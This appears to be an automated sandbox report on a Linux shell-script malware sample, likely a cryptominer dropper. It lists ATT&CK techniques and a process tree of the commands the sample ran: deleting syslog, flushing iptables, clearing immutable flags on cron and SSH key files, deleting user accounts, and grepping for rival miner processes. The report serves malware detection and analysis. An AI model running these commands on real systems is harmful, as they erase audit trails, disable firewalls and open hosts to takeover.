aa9b110527e62a224d858d9cee7a4545fde2394d32d5adeaefeb1d9408d973e0

Analysis

max time kernel
48s
max time network
4s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
24/02/2025, 03:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aa9b110527e62a224d858d9cee7a4545fde2394d32d5adeaefeb1d9408d973e0.sh
Size

35KB
MD5

307d17a781174b74fac24555a6707965
SHA1

b466d3521b4546f2395376ffc349f6d31824fc5b
SHA256

aa9b110527e62a224d858d9cee7a4545fde2394d32d5adeaefeb1d9408d973e0
SHA512

fd9e74b1e78704a3c737ee19635e2827a6c9cfefbf11307f47dad06bdcea0c3d318edf666ec4e0138e658ec77d34e72b8714089229b366d814b0a478ebc149db
SSDEEP

768:b87mzQ5VFNcDAFLcIwgnoYq0xFBvgmuNytUuz:bOVF+D6cIwgos3z

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/syslog	rm

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
661	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
667	sudo

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1432	xargs
1586	xargs
1646	xargs
1661	xargs
1665	sed
1782	xargs
1822	xargs
1838	xargs
1634	xargs
1868	xargs
1893	xargs
1898	xargs
651	chattr
1446	xargs
1473	xargs
1610	xargs
1670	xargs
1686	sed
1848	xargs
1858	xargs
1456	xargs
1574	xargs
1598	xargs
1616	xargs
1662	sed
1833	xargs
1873	xargs
1908	xargs
1436	grep
1451	xargs
1580	xargs
1653	sed
1667	xargs
1772	xargs
1562	xargs
1659	sed
1674	sed
1679	xargs
1750	xargs
1888	xargs
1467	xargs
1683	sed
1688	xargs
689	chattr
1604	xargs
1787	xargs
1853	xargs
1480	xargs
1492	xargs
1652	xargs
1736	xargs
1817	xargs
659	chattr
1622	xargs
1676	xargs
1731	xargs
1863	xargs
1677	sed
1685	xargs
1726	xargs
1807	xargs
655	chattr
1434	grep
1658	xargs

Creates/modifies Cron job 1 TTPs 13 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.1ORYtH	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.DGMhSj	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.pdLySk	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.qYLyMu	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.pSQNsB	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.jCGSXc	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.weeBKu	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.UbSKfA	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.OpgyzT	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.fLXxV3	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ukQqb9	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.cUivI0	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ZpuUld	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Process Discovery 1 TTPs 41 IoCs

Adversaries may try to discover information about running processes.

discovery

Process Discovery

T1057

pid	Process
1844	ps
1849	ps
1854	ps
1879	ps
1839	ps
1416	ps
1442	ps
1793	ps
1803	ps
1864	ps
1874	ps
1435	ps
1732	ps
1773	ps
1788	ps
1808	ps
1818	ps
1894	ps
1433	ps
1722	ps
1829	ps
1904	ps
1437	ps
1447	ps
1859	ps
1909	ps
1422	ps
1727	ps
1783	ps
1824	ps
1889	ps
1899	ps
1798	ps
1834	ps
1452	ps
1869	ps
1884	ps
1428	ps
1494	ps
1778	ps
1813	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/41/cmdline	ps
File opened for reading	/proc/600/cmdline	ps
File opened for reading	/proc/147/status	ps
File opened for reading	/proc/10/cmdline	ps
File opened for reading	/proc/14/stat	ps
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/108/status	pkill
File opened for reading	/proc/299/status	pkill
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/20/stat	ps
File opened for reading	/proc/139/cmdline	pkill
File opened for reading	/proc/1772/stat	ps
File opened for reading	/proc/264/stat	ps
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/595/status	pkill
File opened for reading	/proc/26/status	ps
File opened for reading	/proc/143/cmdline	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/12/cmdline	ps
File opened for reading	/proc/meminfo	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/644	ls
File opened for reading	/proc/333/status	ps
File opened for reading	/proc/109/cmdline	pkill
File opened for reading	/proc/1859/stat	ps
File opened for reading	/proc/28/stat	ps
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/600/cmdline	pkill
File opened for reading	/proc/185/cmdline	ps
File opened for reading	/proc/169/cmdline	pkill
File opened for reading	/proc/205/status	ps
File opened for reading	/proc/261/status	pkill
File opened for reading	/proc/264/status	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/11/cmdline	ps
File opened for reading	/proc/295/stat	ps
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/295/status	pkill
File opened for reading	/proc/643/stat	ps
File opened for reading	/proc/19/status	ps
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/143/status	pkill
File opened for reading	/proc/10/cmdline	ps
File opened for reading	/proc/25/cmdline	ps
File opened for reading	/proc/21/status	ps
File opened for reading	/proc/652/status	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/25/cmdline	pkill
File opened for reading	/proc/143/stat	ps
File opened for reading	/proc/1445/cmdline	ps
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/1738/stat	ps
File opened for reading	/proc/600/cmdline	ps
File opened for reading	/proc/1/cmdline	ps
File opened for reading	/proc/106/cmdline	pkill
File opened for reading	/proc/598/status	pkill
File opened for reading	/proc/1714/status	pkill
File opened for reading	/proc/147/cmdline	pkill
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/20/status	ps

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1372	ls

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	aa9b110527e62a224d858d9cee7a4545fde2394d32d5adeaefeb1d9408d973e0.sh

/tmp/aa9b110527e62a224d858d9cee7a4545fde2394d32d5adeaefeb1d9408d973e0.sh
/tmp/aa9b110527e62a224d858d9cee7a4545fde2394d32d5adeaefeb1d9408d973e0.sh
1⤵
- Writes file to tmp directory
PID:646
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  - Deletes system logs
  PID:647
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  PID:649
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  - Attempts to change immutable files
  PID:651
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Attempts to change immutable files
  PID:655
- /usr/bin/chattr
  chattr -ia /etc/crontab
  2⤵
  - Attempts to change immutable files
  PID:659
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:661
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:667
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:677
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmOAf-0000Av-JJ
      4⤵
      Reads CPU attributes
      PID:694
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:680
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmOAf-0000Ay-Kl
      4⤵
      Reads CPU attributes
      PID:696
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    PID:681
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:684
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:687
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  - Attempts to change immutable files
  PID:689
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  PID:691
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:693
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:695
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:698
- /bin/ls
  ls -latrh /proc/1
  2⤵
  PID:700
- /bin/grep
  grep exe
  2⤵
  PID:701
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:703
- /bin/grep
  grep exe
  2⤵
  PID:707
- /bin/ls
  ls -latrh /proc/10
  2⤵
  PID:705
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:709
- /bin/grep
  grep exe
  2⤵
  PID:712
- /bin/ls
  ls -latrh /proc/106
  2⤵
  PID:711
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:717
- /bin/grep
  grep exe
  2⤵
  PID:720
- /bin/ls
  ls -latrh /proc/108
  2⤵
  PID:719
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:722
- /bin/grep
  grep exe
  2⤵
  PID:725
- /bin/ls
  ls -latrh /proc/109
  2⤵
  PID:724
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:727
- /bin/grep
  grep exe
  2⤵
  PID:730
- /bin/ls
  ls -latrh /proc/11
  2⤵
  PID:729
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:732
- /bin/grep
  grep exe
  2⤵
  PID:735
- /bin/ls
  ls -latrh /proc/12
  2⤵
  PID:734
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:737
- /bin/grep
  grep exe
  2⤵
  PID:740
- /bin/ls
  ls -latrh /proc/13
  2⤵
  PID:739
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:742
- /bin/grep
  grep exe
  2⤵
  PID:745
- /bin/ls
  ls -latrh /proc/138
  2⤵
  PID:744
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:747
- /bin/grep
  grep exe
  2⤵
  PID:750
- /bin/ls
  ls -latrh /proc/139
  2⤵
  PID:749
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:753
- /bin/grep
  grep exe
  2⤵
  PID:757
- /bin/ls
  ls -latrh /proc/14
  2⤵
  PID:756
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:761
- /bin/grep
  grep exe
  2⤵
  PID:764
- /bin/ls
  ls -latrh /proc/143
  2⤵
  PID:763
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:768
- /bin/ls
  ls -latrh /proc/147
  2⤵
  PID:770
- /bin/grep
  grep exe
  2⤵
  PID:771
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:775
- /bin/ls
  ls -latrh /proc/15
  2⤵
  PID:777
- /bin/grep
  grep exe
  2⤵
  PID:778
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:782
- /bin/grep
  grep exe
  2⤵
  PID:786
- /bin/ls
  ls -latrh /proc/16
  2⤵
  PID:785
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:789
- /bin/grep
  grep exe
  2⤵
  PID:792
- /bin/ls
  ls -latrh /proc/169
  2⤵
  PID:791
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:795
- /bin/grep
  grep exe
  2⤵
  PID:798
- /bin/ls
  ls -latrh /proc/17
  2⤵
  PID:797
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:802
- /bin/grep
  grep exe
  2⤵
  PID:806
- /bin/ls
  ls -latrh /proc/18
  2⤵
  PID:804
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:809
- /bin/grep
  grep exe
  2⤵
  PID:813
- /bin/ls
  ls -latrh /proc/185
  2⤵
  PID:812
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:816
- /bin/grep
  grep exe
  2⤵
  PID:819
- /bin/ls
  ls -latrh /proc/19
  2⤵
  PID:818
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
